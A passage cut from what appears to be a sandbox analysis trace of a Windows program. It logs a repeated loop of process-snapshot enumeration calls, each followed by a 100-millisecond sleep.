Process]")) returned 1 [0275.839] Sleep (dwMilliseconds=0x64) [0275.841] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0275.856] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.963] Sleep (dwMilliseconds=0x64) [0275.965] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0275.976] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.053] Sleep (dwMilliseconds=0x64) [0276.055] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0276.102] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.185] Sleep (dwMilliseconds=0x64) [0276.187] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0276.208] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.368] Sleep (dwMilliseconds=0x64) [0276.370] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0276.427] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.524] Sleep (dwMilliseconds=0x64) [0276.541] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0276.589] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.721] Sleep (dwMilliseconds=0x64) [0276.722] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0276.770] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.906] Sleep (dwMilliseconds=0x64) [0276.907] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0276.925] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.011] Sleep (dwMilliseconds=0x64) [0277.012] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0277.056] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.126] Sleep (dwMilliseconds=0x64) [0277.127] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0277.139] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.275] Sleep (dwMilliseconds=0x64) [0277.276] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0277.298] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.474] Sleep (dwMilliseconds=0x64) [0277.476] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0277.492] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.605] Sleep (dwMilliseconds=0x64) [0277.607] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0277.706] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.992] Sleep (dwMilliseconds=0x64) [0278.049] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0278.068] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.235] Sleep (dwMilliseconds=0x64) [0278.237] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0278.253] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.357] Sleep (dwMilliseconds=0x64) [0278.366] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0278.408] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.551] Sleep (dwMilliseconds=0x64) [0278.552] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0278.569] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.686] Sleep (dwMilliseconds=0x64) [0278.689] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0278.714] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.824] Sleep (dwMilliseconds=0x64) [0278.825] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0278.844] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.934] Sleep (dwMilliseconds=0x64) [0279.039] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0279.058] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.132] Sleep (dwMilliseconds=0x64) [0279.133] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0279.178] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.256] Sleep (dwMilliseconds=0x64) [0279.258] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0279.271] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.374] Sleep (dwMilliseconds=0x64) [0279.385] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0279.399] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.531] Sleep (dwMilliseconds=0x64) [0279.533] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0279.545] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.651] Sleep (dwMilliseconds=0x64) [0279.653] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0279.681] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.787] Sleep (dwMilliseconds=0x64) [0279.796] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0279.809] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.889] Sleep (dwMilliseconds=0x64) [0279.901] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0279.917] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.057] Sleep (dwMilliseconds=0x64) [0280.058] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0280.109] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.183] Sleep (dwMilliseconds=0x64) [0280.230] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0280.243] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.350] Sleep (dwMilliseconds=0x64) [0280.352] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0280.366] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.517] Sleep (dwMilliseconds=0x64) [0280.519] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0280.541] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.751] Sleep (dwMilliseconds=0x64) [0280.754] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0280.782] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.928] Sleep (dwMilliseconds=0x64) [0280.942] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d8 [0280.960] Process32First (in: hSnapshot=0x21d8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.100] Sleep (dwMilliseconds=0x64) [0281.154] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0281.175] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.295] Sleep (dwMilliseconds=0x64) [0281.297] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0281.314] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.528] Sleep (dwMilliseconds=0x64) [0281.538] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0281.563] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.701] Sleep (dwMilliseconds=0x64) [0281.703] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0281.735] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.913] Sleep (dwMilliseconds=0x64) [0281.915] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0281.933] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.050] Sleep (dwMilliseconds=0x64) [0282.052] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0282.070] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.194] Sleep (dwMilliseconds=0x64) [0282.197] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0282.216] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.336] Sleep (dwMilliseconds=0x64) [0282.338] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0282.354] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.508] Sleep (dwMilliseconds=0x64) [0282.510] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0282.530] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.697] Sleep (dwMilliseconds=0x64) [0282.703] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0282.721] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.853] Sleep (dwMilliseconds=0x64) [0282.856] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0282.871] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.999] Sleep (dwMilliseconds=0x64) [0283.001] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0283.018] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.142] Sleep (dwMilliseconds=0x64) [0283.144] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0283.161] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.274] Sleep (dwMilliseconds=0x64) [0283.275] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0283.288] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.376] Sleep (dwMilliseconds=0x64) [0283.380] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0283.394] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.554] Sleep (dwMilliseconds=0x64) [0283.556] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0283.569] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.645] Sleep (dwMilliseconds=0x64) [0283.648] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0283.662] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.842] Sleep (dwMilliseconds=0x64) [0283.844] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0283.870] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.979] Sleep (dwMilliseconds=0x64) [0283.981] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0283.999] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.115] Sleep (dwMilliseconds=0x64) [0284.117] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0284.130] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.242] Sleep (dwMilliseconds=0x64) [0284.263] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0284.288] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.393] Sleep (dwMilliseconds=0x64) [0284.396] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0284.411] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.558] Sleep (dwMilliseconds=0x64) [0284.560] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0284.574] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.685] Sleep (dwMilliseconds=0x64) [0284.687] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0284.702] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.781] Sleep (dwMilliseconds=0x64) [0284.784] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0284.840] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0284.935] Sleep (dwMilliseconds=0x64) [0284.937] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0285.027] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.103] Sleep (dwMilliseconds=0x64) [0285.113] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0285.126] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, 